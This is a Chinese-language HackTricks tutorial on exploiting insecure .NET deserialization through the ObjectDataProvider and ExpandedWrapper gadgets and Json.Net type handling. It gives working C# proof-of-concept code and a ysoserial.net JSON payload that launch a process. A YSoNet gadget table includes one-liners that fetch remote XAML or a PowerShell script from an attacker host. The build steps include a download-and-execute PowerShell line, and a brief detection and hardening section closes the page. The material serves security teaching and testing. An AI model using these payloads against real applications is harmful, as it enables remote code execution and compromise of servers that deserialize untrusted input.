Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本文旨在理解如何利用 ObjectDataProvider 小工具 来获得 RCE,以及如何利用该小工具Json.Net 和 xmlSerializer进行滥用。

ObjectDataProvider 小工具

根据文档:ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许封装任意对象,使用 MethodParameters设置任意参数,然后使用 MethodName 调用任意函数,该函数是使用任意参数声明的任意对象。
因此,任意对象将在反序列化执行一个带有参数的 函数

这怎么可能

System.Windows.Data 命名空间在 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPFPresentationFramework.dll 中定义和实现了 ObjectDataProvider。

使用 dnSpy 你可以检查我们感兴趣的类的代码。在下面的图像中,我们看到 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称 的代码。

如你所见,当 MethodName 被设置时,调用了 base.Refresh(),让我们看看它的作用:

好的,让我们继续看看 this.BeginQuery() 的作用。BeginQueryObjectDataProvider 重写,以下是它的作用:

请注意,在代码的末尾调用了 this.QueryWorke(null)。让我们看看它执行了什么:

请注意,这不是 QueryWorker 函数的完整代码,但它显示了有趣的部分:代码调用了 this.InvokeMethodOnInstance(out ex); 这是方法集被调用的那一行。

如果你想检查仅设置 MethodName** 就会被执行**,你可以运行以下代码:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

注意,您需要添加作为引用的 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll 以加载 System.Windows.Data

ExpandedWrapper

使用之前的漏洞,将会有一些情况,其中 对象 将被 反序列化为 一个 ObjectDataProvider 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 GetType 反序列化的)。然后,将对 ObjectDataProvider 实例中封装的 对象类型没有任何了解(例如 Process)。您可以在这里找到更多关于 DotNetNuke 漏洞的 信息

这个类允许 指定封装在给定实例中的对象类型。因此,这个类可以用来将源对象 (ObjectDataProvider) 封装到一个新的对象类型中,并提供我们需要的属性 (ObjectDataProvider.MethodNameObjectDataProvider.MethodParameters)。
这在之前呈现的案例中非常有用,因为我们将能够 将 _ObjectDataProvider** 包装在一个 **ExpandedWrapper _ 实例中,并且 在反序列化时 这个类将 创建 OjectDataProvider 对象,该对象将 执行MethodName 中指示的 函数

您可以使用以下代码检查这个包装器:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

官方网站上指出,该库允许使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象。因此,如果我们能够反序列化ObjectDataProvider小工具,我们就可以仅通过反序列化一个对象来导致RCE

Json.Net示例

首先,让我们看一个如何使用该库序列化/反序列化对象的示例:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

滥用 Json.Net

使用 ysoserial.net 我创建了这个漏洞:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

在这段代码中,你可以测试漏洞,只需运行它,你将看到计算器被执行:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

高级 .NET Gadget 链 (YSoNet & ysoserial.net)

上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 不安全的 .NET 反序列化 时被滥用的 gadget 链之一。现代红队工具如 YSoNet(以及较旧的 ysoserial.net)自动化创建 现成的恶意对象图,适用于数十种 gadget 和序列化格式。

以下是与 YSoNet 一起提供的最有用链的简明参考,以及它们的工作原理和生成有效负载的示例命令的快速说明。

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegate破坏 DelegateSerializationHolder 记录,以便一旦实现,委托指向 任何 攻击者提供的方法(例如 Process.StartBinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelector滥用 System.Workflow.ComponentModel.ActivitySurrogateSelector绕过 .NET ≥4.8 类型过滤 并直接调用提供类的 构造函数动态编译 C# 文件BinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviour利用 System.Data.DataSet遗留 XML 表示,通过填充 <ColumnMapping> / <DataType> 字段来实例化任意类型(可选地使用 --spoofedAssembly 伪造程序集)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResults在启用 WPF 的运行时(> .NET 5)中链式调用属性获取器,直到到达 System.CodeDom.Compiler.CompilerResults,然后 编译加载 通过 -c 提供的 DLLJson.NET 无类型, MessagePack 无类型ysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (复习)使用 WPF System.Windows.Data.ObjectDataProvider 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 --xamlurl 变体,以远程托管恶意 XAMLBinaryFormatter, Json.NET, XAML, ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)ScriptBlock 嵌入 System.Management.Automation.PSObject 中,当 PowerShell 反序列化该对象时执行PowerShell 远程, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

所有有效负载默认情况下 写入 stdout,使其轻松地通过管道传输到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。

构建 / 安装 YSoNet

如果在 Actions ➜ Artifacts / Releases 下没有可用的预编译二进制文件,以下 PowerShell 一行命令将设置构建环境,克隆存储库并以 Release 模式编译所有内容:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

编译后的 ysonet.exe 可以在 ysonet/bin/Release/ 下找到。

检测与加固

  • 检测 w3wp.exePowerShell.exe 或任何反序列化用户提供数据的意外子进程(例如 MessagePackJson.NET)。
  • 启用并 强制类型过滤TypeFilterLevel = Full,自定义 SurrogateSelectorSerializationBinder)每当无法移除遗留的 BinaryFormatter / NetDataContractSerializer 时。
  • 在可能的情况下迁移到 System.Text.JsonDataContractJsonSerializer,并使用基于白名单的转换器。
  • 阻止危险的 WPF 程序集(PresentationFrameworkSystem.Workflow.*)在不需要它们的 Web 进程中加载。

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks